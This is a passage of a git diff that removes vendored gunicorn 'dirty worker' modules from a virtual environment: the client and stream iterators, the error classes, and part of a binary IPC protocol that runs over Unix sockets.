DirtyClient: - """ - Client for calling dirty workers from HTTP workers. - - Provides both sync and async APIs. The sync API is for traditional - sync workers (sync, gthread), while the async API is for async - workers (asgi, gevent). - """ - - def __init__(self, socket_path, timeout=30.0): - """ - Initialize the dirty client. - - Args: - socket_path: Path to the dirty arbiter's Unix socket - timeout: Default timeout for operations in seconds - """ - self.socket_path = socket_path - self.timeout = timeout - self._sock = None - self._reader = None - self._writer = None - self._lock = threading.Lock() - - # ------------------------------------------------------------------------- - # Sync API (for sync HTTP workers) - # ------------------------------------------------------------------------- - - def connect(self): - """ - Establish sync socket connection to arbiter. - - Raises: - DirtyConnectionError: If connection fails - """ - if self._sock is not None: - return - - try: - self._sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - self._sock.settimeout(self.timeout) - self._sock.connect(self.socket_path) - except (socket.error, OSError) as e: - self._sock = None - raise DirtyConnectionError( - f"Failed to connect to dirty arbiter: {e}", - socket_path=self.socket_path - ) from e - - def execute(self, app_path, action, *args, **kwargs): - """ - Execute an action on a dirty app (sync/blocking). - - Args: - app_path: Import path of the dirty app (e.g., 'myapp.ml:MLApp') - action: Action to call on the app - *args: Positional arguments - **kwargs: Keyword arguments - - Returns: - Result from the dirty app action - - Raises: - DirtyConnectionError: If connection fails - DirtyTimeoutError: If operation times out - DirtyError: If execution fails - """ - with self._lock: - return self._execute_locked(app_path, action, args, kwargs) - - def _execute_locked(self, app_path, action, args, kwargs): - """Execute while holding the lock.""" - # Ensure connected - if self._sock is None: - self.connect() - - # Build request - request_id = str(uuid.uuid4()) - request = make_request( - request_id=request_id, - app_path=app_path, - action=action, - args=args, - kwargs=kwargs - ) - - try: - # Send request - DirtyProtocol.write_message(self._sock, request) - - # Receive response - response = DirtyProtocol.read_message(self._sock) - - # Handle response - return self._handle_response(response) - except socket.timeout: - self._close_socket() - raise DirtyTimeoutError( - "Timeout waiting for dirty app response", - timeout=self.timeout - ) - except Exception as e: - self._close_socket() - if isinstance(e, DirtyError): - raise - raise DirtyConnectionError(f"Communication error: {e}") from e - - def stream(self, app_path, action, *args, **kwargs): - """ - Stream results from a dirty app action (sync). - - This method returns an iterator that yields chunks from a streaming - response. Use this for actions that return generators. - - Args: - app_path: Import path of the dirty app (e.g., 'myapp.ml:MLApp') - action: Action to call on the app - *args: Positional arguments - **kwargs: Keyword arguments - - Yields: - Chunks of data from the streaming response - - Raises: - DirtyConnectionError: If connection fails - DirtyTimeoutError: If operation times out - DirtyError: If execution fails - - Example:: - - for chunk in client.stream("myapp.llm:LLMApp", "generate", prompt): - print(chunk, end="", flush=True) - """ - return DirtyStreamIterator(self, app_path, action, args, kwargs) - - def _handle_response(self, response): - """Handle response message, extracting result or raising error.""" - msg_type = response.get("type") - - if msg_type == DirtyProtocol.MSG_TYPE_RESPONSE: - return response.get("result") - elif msg_type == DirtyProtocol.MSG_TYPE_ERROR: - error_info = response.get("error", {}) - error = DirtyError.from_dict(error_info) - raise error - else: - raise DirtyError(f"Unknown response type: {msg_type}") - - def _close_socket(self): - """Close the socket connection.""" - if self._sock is not None: - try: - self._sock.close() - except Exception: - pass - self._sock = None - - def close(self): - """Close the sync connection.""" - with self._lock: - self._close_socket() - - # ------------------------------------------------------------------------- - # Async API (for async HTTP workers) - # ------------------------------------------------------------------------- - - async def connect_async(self): - """ - Establish async connection to arbiter. - - Raises: - DirtyConnectionError: If connection fails - """ - if self._writer is not None: - return - - try: - self._reader, self._writer = await asyncio.wait_for( - asyncio.open_unix_connection(self.socket_path), - timeout=self.timeout - ) - except asyncio.TimeoutError: - raise DirtyTimeoutError( - "Timeout connecting to dirty arbiter", - timeout=self.timeout - ) - except (OSError, ConnectionError) as e: - raise DirtyConnectionError( - f"Failed to connect to dirty arbiter: {e}", - socket_path=self.socket_path - ) from e - - async def execute_async(self, app_path, action, *args, **kwargs): - """ - Execute an action on a dirty app (async/non-blocking). - - Args: - app_path: Import path of the dirty app - action: Action to call on the app - *args: Positional arguments - **kwargs: Keyword arguments - - Returns: - Result from the dirty app action - - Raises: - DirtyConnectionError: If connection fails - DirtyTimeoutError: If operation times out - DirtyError: If execution fails - """ - # Ensure connected - if self._writer is None: - await self.connect_async() - - # Build request - request_id = str(uuid.uuid4()) - request = make_request( - request_id=request_id, - app_path=app_path, - action=action, - args=args, - kwargs=kwargs - ) - - try: - # Send request - await DirtyProtocol.write_message_async(self._writer, request) - - # Receive response with timeout - response = await asyncio.wait_for( - DirtyProtocol.read_message_async(self._reader), - timeout=self.timeout - ) - - # Handle response - return self._handle_response(response) - except asyncio.TimeoutError: - await self._close_async() - raise DirtyTimeoutError( - "Timeout waiting for dirty app response", - timeout=self.timeout - ) - except Exception as e: - await self._close_async() - if isinstance(e, DirtyError): - raise - raise DirtyConnectionError(f"Communication error: {e}") from e - - def stream_async(self, app_path, action, *args, **kwargs): - """ - Stream results from a dirty app action (async). - - This method returns an async iterator that yields chunks from a - streaming response. Use this for actions that return generators. - - Args: - app_path: Import path of the dirty app (e.g., 'myapp.ml:MLApp') - action: Action to call on the app - *args: Positional arguments - **kwargs: Keyword arguments - - Yields: - Chunks of data from the streaming response - - Raises: - DirtyConnectionError: If connection fails - DirtyTimeoutError: If operation times out - DirtyError: If execution fails - - Example:: - - async for chunk in client.stream_async("myapp.llm:LLMApp", "generate", prompt): - await response.write(chunk) - """ - return DirtyAsyncStreamIterator(self, app_path, action, args, kwargs) - - async def _close_async(self): - """Close the async connection.""" - if self._writer is not None: - try: - self._writer.close() - await self._writer.wait_closed() - except Exception: - pass - self._writer = None - self._reader = None - - async def close_async(self): - """Close the async connection.""" - await self._close_async() - - # ------------------------------------------------------------------------- - # Context managers - # ------------------------------------------------------------------------- - - def __enter__(self): - self.connect() - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - self.close() - - async def __aenter__(self): - await self.connect_async() - return self - - async def __aexit__(self, exc_type, exc_val, exc_tb): - await self.close_async() - - -# ============================================================================= -# Stream Iterator classes -# ============================================================================= - - -class DirtyStreamIterator: - """ - Iterator for streaming responses from dirty workers (sync). - - This class is returned by `DirtyClient.stream()` and yields chunks - from a streaming response until the end message is received. - - Uses a deadline-based timeout approach: - - Total stream timeout: limits entire stream duration - - Idle timeout: limits gap between chunks (defaults to total timeout) - """ - - # Default idle timeout between chunks (seconds) - DEFAULT_IDLE_TIMEOUT = 30.0 - - # Threshold for applying per-read timeout (seconds) - # When remaining time is above this, use a larger timeout for efficiency - _TIMEOUT_THRESHOLD = 5.0 - - def __init__(self, client, app_path, action, args, kwargs, - idle_timeout=None): - self.client = client - self.app_path = app_path - self.action = action - self.args = args - self.kwargs = kwargs - self._started = False - self._exhausted = False - self._request_id = None - self._deadline = None - self._last_chunk_time = None - # Idle timeout: max time between chunks - self._idle_timeout = ( - idle_timeout if idle_timeout is not None - else min(self.DEFAULT_IDLE_TIMEOUT, client.timeout) - ) - - def __iter__(self): - return self - - def __next__(self): - if self._exhausted: - raise StopIteration - - if not self._started: - self._start_request() - self._started = True - - return self._read_next_chunk() - - def _start_request(self): - """Send the initial request to the arbiter.""" - with self.client._lock: - if self.client._sock is None: - self.client.connect() - - # Set deadline for entire stream - now = time.monotonic() - self._deadline = now + self.client.timeout - self._last_chunk_time = now - - self._request_id = str(uuid.uuid4()) - request = make_request( - self._request_id, - self.app_path, - self.action, - args=self.args, - kwargs=self.kwargs, - ) - DirtyProtocol.write_message(self.client._sock, request) - - def _read_next_chunk(self): - """Read the next message from the stream.""" - with self.client._lock: - # Check total stream deadline - now = time.monotonic() - if now >= self._deadline: - self._exhausted = True - raise DirtyTimeoutError( - "Stream exceeded total timeout", - timeout=self.client.timeout - ) - - remaining = self._deadline - now - - # Set socket timeout based on remaining time - # Fast path: use larger timeout when plenty of time remains - if remaining > self._TIMEOUT_THRESHOLD: - read_timeout = self._TIMEOUT_THRESHOLD - else: - read_timeout = min(remaining, self._idle_timeout) - - try: - self.client._sock.settimeout(read_timeout) - response = DirtyProtocol.read_message(self.client._sock) - except socket.timeout: - # Check which timeout was hit - now = time.monotonic() - if now >= self._deadline: - self._exhausted = True - raise DirtyTimeoutError( - "Stream exceeded total timeout", - timeout=self.client.timeout - ) - idle_duration = now - self._last_chunk_time - self._exhausted = True - raise DirtyTimeoutError( - f"Timeout waiting for next chunk (idle {idle_duration:.1f}s)", - timeout=self._idle_timeout - ) - except Exception as e: - self._exhausted = True - self.client._close_socket() - raise DirtyConnectionError(f"Communication error: {e}") from e - - # Update last chunk time for idle tracking - self._last_chunk_time = time.monotonic() - - msg_type = response.get("type") - - # Chunk message - return the data - if msg_type == DirtyProtocol.MSG_TYPE_CHUNK: - return response.get("data") - - # End message - stop iteration - if msg_type == DirtyProtocol.MSG_TYPE_END: - self._exhausted = True - raise StopIteration - - # Error message - raise exception - if msg_type == DirtyProtocol.MSG_TYPE_ERROR: - self._exhausted = True - error_info = response.get("error", {}) - raise DirtyError.from_dict(error_info) - - # Regular response - shouldn't happen for streaming, but handle it - if msg_type == DirtyProtocol.MSG_TYPE_RESPONSE: - self._exhausted = True - # Return the result as the only chunk then stop - raise StopIteration - - # Unknown type - self._exhausted = True - raise DirtyError(f"Unknown message type: {msg_type}") - - -class DirtyAsyncStreamIterator: - """ - Async iterator for streaming responses from dirty workers. - - This class is returned by `DirtyClient.stream_async()` and yields chunks - from a streaming response until the end message is received. - - Uses a deadline-based timeout approach for efficiency: - - Total stream timeout: limits entire stream duration - - Idle timeout: limits gap between chunks (defaults to total timeout) - - This avoids the overhead of asyncio.wait_for() on every chunk read. - """ - - # Default idle timeout between chunks (seconds) - DEFAULT_IDLE_TIMEOUT = 30.0 - - def __init__(self, client, app_path, action, args, kwargs, - idle_timeout=None): - self.client = client - self.app_path = app_path - self.action = action - self.args = args - self.kwargs = kwargs - self._started = False - self._exhausted = False - self._request_id = None - self._deadline = None - self._last_chunk_time = None - # Idle timeout: max time between chunks - self._idle_timeout = ( - idle_timeout if idle_timeout is not None - else min(self.DEFAULT_IDLE_TIMEOUT, client.timeout) - ) - - def __aiter__(self): - return self - - async def __anext__(self): - if self._exhausted: - raise StopAsyncIteration - - if not self._started: - await self._start_request() - self._started = True - - return await self._read_next_chunk() - - async def _start_request(self): - """Send the initial request to the arbiter.""" - if self.client._writer is None: - await self.client.connect_async() - - # Set deadline for entire stream - now = time.monotonic() - self._deadline = now + self.client.timeout - self._last_chunk_time = now - - self._request_id = str(uuid.uuid4()) - request = make_request( - self._request_id, - self.app_path, - self.action, - args=self.args, - kwargs=self.kwargs, - ) - await DirtyProtocol.write_message_async(self.client._writer, request) - - # Threshold for applying timeout wrapper (seconds) - # When remaining time is above this, skip timeout for performance - _TIMEOUT_THRESHOLD = 5.0 - - async def _read_next_chunk(self): - """Read the next message from the stream.""" - # Calculate remaining time until deadline - now = time.monotonic() - - # Check total stream deadline - if now >= self._deadline: - self._exhausted = True - raise DirtyTimeoutError( - "Stream exceeded total timeout", - timeout=self.client.timeout - ) - - remaining = self._deadline - now - - try: - # Fast path: skip timeout wrapper when we have plenty of time - # This avoids asyncio.wait_for() overhead for most chunks - if remaining > self._TIMEOUT_THRESHOLD: - response = await DirtyProtocol.read_message_async( - self.client._reader - ) - else: - # Near deadline: apply timeout protection - read_timeout = min(remaining, self._idle_timeout) - response = await asyncio.wait_for( - DirtyProtocol.read_message_async(self.client._reader), - timeout=read_timeout - ) - except asyncio.TimeoutError: - self._exhausted = True - now = time.monotonic() - if now >= self._deadline: - raise DirtyTimeoutError( - "Stream exceeded total timeout", - timeout=self.client.timeout - ) - idle_duration = now - self._last_chunk_time - raise DirtyTimeoutError( - f"Timeout waiting for next chunk (idle {idle_duration:.1f}s)", - timeout=self._idle_timeout - ) - except Exception as e: - self._exhausted = True - await self.client._close_async() - raise DirtyConnectionError(f"Communication error: {e}") from e - - # Update last chunk time for idle tracking - self._last_chunk_time = time.monotonic() - - msg_type = response.get("type") - - # Chunk message - return the data - if msg_type == DirtyProtocol.MSG_TYPE_CHUNK: - return response.get("data") - - # End message - stop iteration - if msg_type == DirtyProtocol.MSG_TYPE_END: - self._exhausted = True - raise StopAsyncIteration - - # Error message - raise exception - if msg_type == DirtyProtocol.MSG_TYPE_ERROR: - self._exhausted = True - error_info = response.get("error", {}) - raise DirtyError.from_dict(error_info) - - # Regular response - shouldn't happen for streaming - if msg_type == DirtyProtocol.MSG_TYPE_RESPONSE: - self._exhausted = True - raise StopAsyncIteration - - # Unknown type - self._exhausted = True - raise DirtyError(f"Unknown message type: {msg_type}") - - -# ============================================================================= -# Thread-local and context-local client management -# ============================================================================= - -# Thread-local storage for sync workers -_thread_local = threading.local() - -# Context var for async workers -_async_client_var: contextvars.ContextVar[DirtyClient] = contextvars.ContextVar( - 'dirty_client' -) - -# Global socket path (set by arbiter) -_dirty_socket_path = None - - -def set_dirty_socket_path(path): - """Set the global dirty socket path (called during initialization).""" - global _dirty_socket_path # pylint: disable=global-statement - _dirty_socket_path = path - - # Also set the stash socket path (uses same arbiter socket) - from .stash import set_stash_socket_path - set_stash_socket_path(path) - - -def get_dirty_socket_path(): - """Get the dirty socket path.""" - if _dirty_socket_path is None: - # Check environment variable - path = os.environ.get('GUNICORN_DIRTY_SOCKET') - if path: - return path - raise DirtyError( - "Dirty socket path not configured. " - "Make sure dirty_workers > 0 and dirty_apps are configured." - ) - return _dirty_socket_path - - -def get_dirty_client(timeout=30.0) -> DirtyClient: - """ - Get or create a thread-local sync client. - - This is the recommended way to get a client in sync HTTP workers. - - Args: - timeout: Timeout for operations in seconds - - Returns: - DirtyClient: Thread-local client instance - - Example:: - - from gunicorn.dirty import get_dirty_client - - def my_view(request): - client = get_dirty_client() - result = client.execute("myapp.ml:MLApp", "inference", data) - return result - """ - client = getattr(_thread_local, 'dirty_client', None) - if client is None: - socket_path = get_dirty_socket_path() - client = DirtyClient(socket_path, timeout=timeout) - _thread_local.dirty_client = client - return client - - -async def get_dirty_client_async(timeout=30.0) -> DirtyClient: - """ - Get or create a context-local async client. - - This is the recommended way to get a client in async HTTP workers. - - Args: - timeout: Timeout for operations in seconds - - Returns: - DirtyClient: Context-local client instance - - Example:: - - from gunicorn.dirty import get_dirty_client_async - - async def my_view(request): - client = await get_dirty_client_async() - result = await client.execute_async("myapp.ml:MLApp", "inference", data) - return result - """ - try: - client = _async_client_var.get() - except LookupError: - socket_path = get_dirty_socket_path() - client = DirtyClient(socket_path, timeout=timeout) - _async_client_var.set(client) - return client - - -def close_dirty_client(): - """Close the thread-local client (call on worker exit).""" - client = getattr(_thread_local, 'dirty_client', None) - if client is not None: - client.close() - _thread_local.dirty_client = None - - -async def close_dirty_client_async(): - """Close the context-local async client.""" - try: - client = _async_client_var.get() - await client.close_async() - except LookupError: - pass diff --git a/venv/Lib/site-packages/gunicorn/dirty/errors.py b/venv/Lib/site-packages/gunicorn/dirty/errors.py deleted file mode 100644 index 5ce25705f69ee83b7cf2b69a6cbe588f738babf6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/dirty/errors.py +++ /dev/null @@ -1,180 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Dirty Arbiters Error Classes - -Exception hierarchy for dirty worker pool operations. -""" - - -class DirtyError(Exception): - """Base exception for all dirty arbiter errors.""" - - def __init__(self, message, details=None): - self.message = message - self.details = details or {} - super().__init__(message) - - def __str__(self): - if self.details: - return f"{self.message}: {self.details}" - return self.message - - def to_dict(self): - """Serialize error for protocol transmission.""" - return { - "error_type": self.__class__.__name__, - "message": self.message, - "details": self.details, - } - - @classmethod - def from_dict(cls, data): - """Deserialize error from protocol transmission. - - Creates an error instance from a serialized dict. The returned - error will be an instance of the appropriate subclass based on - the error_type field, but constructed using the base DirtyError - __init__ to preserve all details. - """ - error_classes = { - "DirtyError": DirtyError, - "DirtyTimeoutError": DirtyTimeoutError, - "DirtyConnectionError": DirtyConnectionError, - "DirtyWorkerError": DirtyWorkerError, - "DirtyAppError": DirtyAppError, - "DirtyAppNotFoundError": DirtyAppNotFoundError, - "DirtyNoWorkersAvailableError": DirtyNoWorkersAvailableError, - "DirtyProtocolError": DirtyProtocolError, - } - error_type = data.get("error_type", "DirtyError") - error_class = error_classes.get(error_type, DirtyError) - - # Create instance and set attributes directly to bypass - # subclass __init__ complexity while preserving error type - error = Exception.__new__(error_class) - error.message = data.get("message", "Unknown error") - error.details = data.get("details") or {} - Exception.__init__(error, error.message) - - # Set subclass-specific attributes from details - if error_class == DirtyTimeoutError: - error.timeout = error.details.get("timeout") - elif error_class == DirtyConnectionError: - error.socket_path = error.details.get("socket_path") - elif error_class == DirtyWorkerError: - error.worker_id = error.details.get("worker_id") - error.traceback = error.details.get("traceback") - elif error_class in (DirtyAppError, DirtyAppNotFoundError): - error.app_path = error.details.get("app_path") - error.action = error.details.get("action") - error.traceback = error.details.get("traceback") - elif error_class == DirtyNoWorkersAvailableError: - error.app_path = error.details.get("app_path") - - return error - - -class DirtyTimeoutError(DirtyError): - """Raised when a dirty operation times out.""" - - def __init__(self, message="Operation timed out", timeout=None): - details = {"timeout": timeout} if timeout else {} - super().__init__(message, details) - self.timeout = timeout - - -class DirtyConnectionError(DirtyError): - """Raised when connection to dirty arbiter fails.""" - - def __init__(self, message="Connection failed", socket_path=None): - details = {"socket_path": socket_path} if socket_path else {} - super().__init__(message, details) - self.socket_path = socket_path - - -class DirtyWorkerError(DirtyError): - """Raised when a dirty worker encounters an error.""" - - def __init__(self, message, worker_id=None, traceback=None): - details = {} - if worker_id is not None: - details["worker_id"] = worker_id - if traceback: - details["traceback"] = traceback - super().__init__(message, details) - self.worker_id = worker_id - self.traceback = traceback - - -class DirtyAppError(DirtyError): - """Raised when a dirty app encounters an error during execution.""" - - def __init__(self, message, app_path=None, action=None, traceback=None): - details = {} - if app_path: - details["app_path"] = app_path - if action: - details["action"] = action - if traceback: - details["traceback"] = traceback - super().__init__(message, details) - self.app_path = app_path - self.action = action - self.traceback = traceback - - -class DirtyAppNotFoundError(DirtyAppError): - """Raised when a dirty app is not found.""" - - def __init__(self, app_path): - super().__init__(f"Dirty app not found: {app_path}", app_path=app_path) - - -class DirtyNoWorkersAvailableError(DirtyError): - """ - Raised when no workers are available for the requested app. - - This exception is raised when a request targets an app that has - worker limits configured, and no workers with that app are currently - available (e.g., all workers for that app crashed and haven't been - respawned yet). - - Web applications can catch this exception to provide graceful - degradation, such as queuing requests for retry or showing a - maintenance page. - - Example:: - - from gunicorn.dirty import get_dirty_client - from gunicorn.dirty.errors import DirtyNoWorkersAvailableError - - def my_view(request): - client = get_dirty_client() - try: - result = client.execute("myapp.ml:HeavyModel", "predict", data) - except DirtyNoWorkersAvailableError as e: - return {"error": "Service temporarily unavailable", - "app": e.app_path} - """ - - def __init__(self, app_path, message=None): - if message is None: - message = f"No workers available for app: {app_path}" - super().__init__(message, details={"app_path": app_path}) - self.app_path = app_path - - -class DirtyProtocolError(DirtyError): - """Raised when there is a protocol-level error.""" - - def __init__(self, message="Protocol error", raw_data=None): - details = {} - if raw_data is not None: - # Truncate raw data for safety - if isinstance(raw_data, bytes): - raw_data = raw_data[:100].hex() - details["raw_data"] = str(raw_data)[:200] - super().__init__(message, details) diff --git a/venv/Lib/site-packages/gunicorn/dirty/protocol.py b/venv/Lib/site-packages/gunicorn/dirty/protocol.py deleted file mode 100644 index 5f3f9d048f347535dbaeaa7915bc183b3d51c37e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/dirty/protocol.py +++ /dev/null @@ -1,810 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Dirty Worker Binary Protocol - -Binary message framing over Unix sockets, inspired by OpenBSD msgctl/msgsnd. -Replaces JSON protocol for efficient binary data transfer. - -Header Format (16 bytes): -+--------+--------+--------+--------+--------+--------+--------+--------+ -| Magic (2B) | Ver(1) | MType | Payload Length (4B) | -+--------+--------+--------+--------+--------+--------+--------+--------+ -| Request ID (8 bytes) | -+--------+--------+--------+--------+--------+--------+--------+--------+ - -- Magic: 0x47 0x44 ("GD" for Gunicorn Dirty) -- Version: 0x01 -- MType: Message type (REQUEST, RESPONSE, ERROR, CHUNK, END) -- Length: Payload size (big-endian uint32, max 64MB) -- Request ID: uint64 (replaces UUID string) - -Payload is TLV-encoded (see tlv.py). -""" - -import asyncio -import socket -import struct - -from .errors import DirtyProtocolError -from .tlv import TLVEncoder - - -# Protocol constants -MAGIC = b"GD" # 0x47 0x44 -VERSION = 0x01 - -# Message types (1 byte) -MSG_TYPE_REQUEST = 0x01 -MSG_TYPE_RESPONSE = 0x02 -MSG_TYPE_ERROR = 0x03 -MSG_TYPE_CHUNK = 0x04 -MSG_TYPE_END = 0x05 -MSG_TYPE_STASH = 0x10 # Stash operations (shared state between workers) -MSG_TYPE_STATUS = 0x11 # Status query for arbiter/workers -MSG_TYPE_MANAGE = 0x12 # Worker management (add/remove workers) - -# Message type names (for backwards compatibility with old API) -MSG_TYPE_REQUEST_STR = "request" -MSG_TYPE_RESPONSE_STR = "response" -MSG_TYPE_ERROR_STR = "error" -MSG_TYPE_CHUNK_STR = "chunk" -MSG_TYPE_END_STR = "end" -MSG_TYPE_STASH_STR = "stash" -MSG_TYPE_STATUS_STR = "status" -MSG_TYPE_MANAGE_STR = "manage" - -# Map int types to string names -MSG_TYPE_TO_STR = { - MSG_TYPE_REQUEST: MSG_TYPE_REQUEST_STR, - MSG_TYPE_RESPONSE: MSG_TYPE_RESPONSE_STR, - MSG_TYPE_ERROR: MSG_TYPE_ERROR_STR, - MSG_TYPE_CHUNK: MSG_TYPE_CHUNK_STR, - MSG_TYPE_END: MSG_TYPE_END_STR, - MSG_TYPE_STASH: MSG_TYPE_STASH_STR, - MSG_TYPE_STATUS: MSG_TYPE_STATUS_STR, - MSG_TYPE_MANAGE: MSG_TYPE_MANAGE_STR, -} - -# Map string names to int types -MSG_TYPE_FROM_STR = {v: k for k, v in MSG_TYPE_TO_STR.items()} - -# Stash operation codes -STASH_OP_PUT = 1 -STASH_OP_GET = 2 -STASH_OP_DELETE = 3 -STASH_OP_KEYS = 4 -STASH_OP_CLEAR = 5 -STASH_OP_INFO = 6 -STASH_OP_ENSURE = 7 -STASH_OP_DELETE_TABLE = 8 -STASH_OP_TABLES = 9 -STASH_OP_EXISTS = 10 - -# Manage operation codes -MANAGE_OP_ADD = 1 # Add/spawn workers -MANAGE_OP_REMOVE = 2 # Remove/kill workers - -# Header format: Magic (2) + Version (1) + Type (1) + Length (4) + RequestID (8) = 16 -HEADER_FORMAT = ">2sBBIQ" -HEADER_SIZE = struct.calcsize(HEADER_FORMAT) - -# Maximum message size (64 MB) -MAX_MESSAGE_SIZE = 64 * 1024 * 1024 - - -class BinaryProtocol: - """Binary message protocol for dirty worker IPC.""" - - # Export constants for external use - HEADER_SIZE = HEADER_SIZE - MAX_MESSAGE_SIZE = MAX_MESSAGE_SIZE - - MSG_TYPE_REQUEST = MSG_TYPE_REQUEST_STR - MSG_TYPE_RESPONSE = MSG_TYPE_RESPONSE_STR - MSG_TYPE_ERROR = MSG_TYPE_ERROR_STR - MSG_TYPE_CHUNK = MSG_TYPE_CHUNK_STR - MSG_TYPE_END = MSG_TYPE_END_STR - MSG_TYPE_STASH = MSG_TYPE_STASH_STR - MSG_TYPE_STATUS = MSG_TYPE_STATUS_STR - MSG_TYPE_MANAGE = MSG_TYPE_MANAGE_STR - - @staticmethod - def encode_header(msg_type: int, request_id: int, payload_length: int) -> bytes: - """ - Encode the 16-byte message header. - - Args: - msg_type: Message type (MSG_TYPE_REQUEST, etc.) - request_id: Unique request identifier (uint64) - payload_length: Length of the TLV-encoded payload - - Returns: - bytes: 16-byte header - """ - return struct.pack(HEADER_FORMAT, MAGIC, VERSION, msg_type, - payload_length, request_id) - - @staticmethod - def decode_header(data: bytes) -> tuple: - """ - Decode the 16-byte message header. - - Args: - data: 16 bytes of header data - - Returns: - tuple: (msg_type, request_id, payload_length) - - Raises: - DirtyProtocolError: If header is invalid - """ - if len(data) < HEADER_SIZE: - raise DirtyProtocolError( - f"Header too short: {len(data)} bytes, expected {HEADER_SIZE}", - raw_data=data - ) - - magic, version, msg_type, length, request_id = struct.unpack( - HEADER_FORMAT, data[:HEADER_SIZE] - ) - - if magic != MAGIC: - raise DirtyProtocolError( - f"Invalid magic: {magic!r}, expected {MAGIC!r}", - raw_data=data[:20] - ) - - if version != VERSION: - raise DirtyProtocolError( - f"Unsupported protocol version: {version}, expected {VERSION}", - raw_data=data[:20] - ) - - if msg_type not in MSG_TYPE_TO_STR: - raise DirtyProtocolError( - f"Unknown message type: 0x{msg_type:02x}", - raw_data=data[:20] - ) - - if length > MAX_MESSAGE_SIZE: - raise DirtyProtocolError( - f"Message too large: {length} bytes (max: {MAX_MESSAGE_SIZE})" - ) - - return msg_type, request_id, length - - @staticmethod - def encode_request(request_id: int, app_path: str, action: str, - args: tuple = None, kwargs: dict = None) -> bytes: - """ - Encode a request message. - - Args: - request_id: Unique request identifier (uint64) - app_path: Import path of the dirty app - action: Action to call on the app - args: Positional arguments - kwargs: Keyword arguments - - Returns: - bytes: Complete message (header + payload) - """ - payload_dict = { - "app_path": app_path, - "action": action, - "args": list(args) if args else [], - "kwargs": kwargs or {}, - } - payload = TLVEncoder.encode(payload_dict) - header = BinaryProtocol.encode_header(MSG_TYPE_REQUEST, request_id, - len(payload)) - return header + payload - - @staticmethod - def encode_response(request_id: int, result) -> bytes: - """ - Encode a success response message. - - Args: - request_id: Request identifier this responds to - result: Result value (must be TLV-serializable) - - Returns: - bytes: Complete message (header + payload) - """ - payload_dict = {"result": result} - payload = TLVEncoder.encode(payload_dict) - header = BinaryProtocol.encode_header(MSG_TYPE_RESPONSE, request_id, - len(payload)) - return header + payload - - @staticmethod - def encode_error(request_id: int, error) -> bytes: - """ - Encode an error response message. - - Args: - request_id: Request identifier this responds to - error: DirtyError instance, dict, or Exception - - Returns: - bytes: Complete message (header + payload) - """ - from .errors import DirtyError - - if isinstance(error, DirtyError): - error_dict = error.to_dict() - elif isinstance(error, dict): - error_dict = error - else: - error_dict = { - "error_type": type(error).__name__, - "message": str(error), - "details": {}, - } - - payload_dict = {"error": error_dict} - payload = TLVEncoder.encode(payload_dict) - header = BinaryProtocol.encode_header(MSG_TYPE_ERROR, request_id, - len(payload)) - return header + payload - - @staticmethod - def encode_chunk(request_id: int, data) -> bytes: - """ - Encode a chunk message for streaming responses. - - Args: - request_id: Request identifier this chunk belongs to - data: Chunk data (must be TLV-serializable) - - Returns: - bytes: Complete message (header + payload) - """ - payload_dict = {"data": data} - payload = TLVEncoder.encode(payload_dict) - header = BinaryProtocol.encode_header(MSG_TYPE_CHUNK, request_id, - len(payload)) - return header + payload - - @staticmethod - def encode_end(request_id: int) -> bytes: - """ - Encode an end-of-stream message. - - Args: - request_id: Request identifier this ends - - Returns: - bytes: Complete message (header + empty payload) - """ - # End message has empty payload - header = BinaryProtocol.encode_header(MSG_TYPE_END, request_id, 0) - return header - - @staticmethod - def encode_status(request_id: int) -> bytes: - """ - Encode a status query message. - - Args: - request_id: Request identifier - - Returns: - bytes: Complete message (header + empty payload) - """ - # Status query has empty payload - header = BinaryProtocol.encode_header(MSG_TYPE_STATUS, request_id, 0) - return header - - @staticmethod - def encode_manage(request_id: int, op: int, count: int = 1) -> bytes: - """ - Encode a worker management message. - - Args: - request_id: Request identifier - op: Management operation (MANAGE_OP_ADD or MANAGE_OP_REMOVE) - count: Number of workers to add/remove - - Returns: - bytes: Complete message (header + payload) - """ - payload_dict = { - "op": op, - "count": count, - } - payload = TLVEncoder.encode(payload_dict) - header = BinaryProtocol.encode_header(MSG_TYPE_MANAGE, request_id, - len(payload)) - return header + payload - - @staticmethod - def encode_stash(request_id: int, op: int, table: str, - key=None, value=None, pattern=None) -> bytes: - """ - Encode a stash operation message. - - Args: - request_id: Unique request identifier (uint64) - op: Stash operation code (STASH_OP_*) - table: Table name - key: Optional key for put/get/delete operations - value: Optional value for put operation - pattern: Optional pattern for keys operation - - Returns: - bytes: Complete message (header + payload) - """ - payload_dict = { - "op": op, - "table": table, - } - if key is not None: - payload_dict["key"] = key - if value is not None: - payload_dict["value"] = value - if pattern is not None: - payload_dict["pattern"] = pattern - - payload = TLVEncoder.encode(payload_dict) - header = BinaryProtocol.encode_header(MSG_TYPE_STASH, request_id, - len(payload)) - return header + payload - - @staticmethod - def decode_message(data: bytes) -> tuple: - """ - Decode a complete message (header + payload). - - Args: - data: Complete message bytes - - Returns: - tuple: (msg_type_str, request_id, payload_dict) - msg_type_str is the string name (e.g., "request") - payload_dict is the decoded TLV payload as a dict - - Raises: - DirtyProtocolError: If message is malformed - """ - msg_type, request_id, length = BinaryProtocol.decode_header(data) - - if len(data) < HEADER_SIZE + length: - raise DirtyProtocolError( - f"Incomplete message: expected {HEADER_SIZE + length} bytes, " - f"got {len(data)}", - raw_data=data[:50] - ) - - if length == 0: - # End message has empty payload - payload_dict = {} - else: - payload_data = data[HEADER_SIZE:HEADER_SIZE + length] - try: - payload_dict = TLVEncoder.decode_full(payload_data) - except DirtyProtocolError: - raise - except Exception as e: - raise DirtyProtocolError( - f"Failed to decode TLV payload: {e}", - raw_data=payload_data[:50] - ) - - # Convert to dict format similar to old JSON protocol - msg_type_str = MSG_TYPE_TO_STR[msg_type] - - return msg_type_str, request_id, payload_dict - - # ------------------------------------------------------------------------- - # Async API (primary - for DirtyArbiter and DirtyWorker) - # ------------------------------------------------------------------------- - - @staticmethod - async def read_message_async(reader: asyncio.StreamReader) -> dict: - """ - Read a complete binary message from async stream. - - Args: - reader: asyncio StreamReader - - Returns: - dict: Message dict with 'type', 'id', and payload fields - - Raises: - DirtyProtocolError: If read fails or message is malformed - 